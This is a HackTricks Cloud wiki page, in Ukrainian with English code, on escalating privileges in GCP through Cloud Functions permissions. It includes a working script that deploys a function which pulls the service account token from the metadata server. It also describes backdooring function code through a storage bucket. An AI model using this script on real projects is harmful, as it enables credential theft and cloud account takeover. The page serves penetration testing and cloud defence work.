GCP - Cloudfunctions Privesc
Reading time: 5 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
cloudfunctions
Більше інформації про Cloud Functions:
cloudfunctions.functions.create
, cloudfunctions.functions.sourceCodeSet
, iam.serviceAccounts.actAs
Зловмисник з цими привілеями може створити нову Cloud Function з довільним (шкідливим) кодом і призначити їй обліковий запис служби. Потім, витягнути токен облікового запису служби з метаданих, щоб підвищити привілеї до нього.
Можливо, знадобляться деякі привілеї для активації функції.
Скрипти експлуатації для цього методу можна знайти тут і тут, а попередньо зібраний .zip файл можна знайти тут.
cloudfunctions.functions.update
, cloudfunctions.functions.sourceCodeSet
, iam.serviceAccounts.actAs
Зловмисник з цими привілеями може модифікувати код Функції і навіть змінювати обліковий запис служби, що прикріплений з метою ексфільтрації токена.
caution
Для розгортання cloud functions вам також знадобляться права actAs над обліковим записом служби за замовчуванням або над обліковим записом служби, що використовується для створення образу.
Додаткові привілеї, такі як дозвіл .call
для версії 1 cloudfunctions або роль role/run.invoker
для активації функції можуть бути необхідні.
# Create new code
temp_dir=$(mktemp -d)
cat > $temp_dir/main.py <<EOF
import subprocess
def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF
echo "" > $temp_dir/requirements.txt
zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt
# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated
# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>
caution
Якщо ви отримали помилку Permission 'run.services.setIamPolicy' denied on resource...
, це означає, що ви використовуєте параметр --allow-unauthenticated
і у вас недостатньо прав для цього.
Скрипт експлуатації для цього методу можна знайти тут.
cloudfunctions.functions.sourceCodeSet
З цим дозволом ви можете отримати підписане URL для завантаження файлу в бакет функції (але код функції не буде змінено, вам все ще потрібно його оновити)
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
Не зовсім впевнений, наскільки корисним є лише цей дозвіл з точки зору атакуючого, але добре знати.
cloudfunctions.functions.setIamPolicy
, iam.serviceAccounts.actAs
Надайте собі будь-які з попередніх .update
або .create
привілеїв для ескалації.
cloudfunctions.functions.update
Маючи лише cloudfunctions
дозволи, без iam.serviceAccounts.actAs
, ви не зможете оновити функцію, ТОМУ ЦЕ НЕ Є ДІЙСНИМ ПРИВІЛЕЄМ.
Доступ на читання та запис до бакету
Якщо у вас є доступ на читання та запис до бакету, ви можете моніторити зміни в коді, і коли відбувається оновлення в бакеті, ви можете оновити новий код своїм кодом, з яким нова версія Cloud Function буде запущена з поданим бекдором.
Ви можете дізнатися більше про атаку в:
Однак ви не можете використовувати це для попереднього компрометації сторонніх Cloud Functions, тому що якщо ви створите бакет у своєму обліковому записі та надасте йому публічні дозволи, щоб зовнішній проект міг записувати в нього, ви отримаєте наступну помилку:
 (1) (1).png)
caution
Однак це може бути використано для атак DoS.
Доступ на читання та запис до Artifact Registry
Коли створюється Cloud Function, новий docker-образ завантажується до Artifact Registry проекту. Я намагався змінити образ на новий, і навіть видалити поточний образ (та образ cache
), і нічого не змінилося, cloud function продовжує працювати. Тому, можливо, можливо зловживати атакою Race Condition як з бакетом, щоб змінити docker-контейнер, який буде запущено, але просто зміна збереженого образу не можлива для компрометації Cloud Function.
Посилання
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.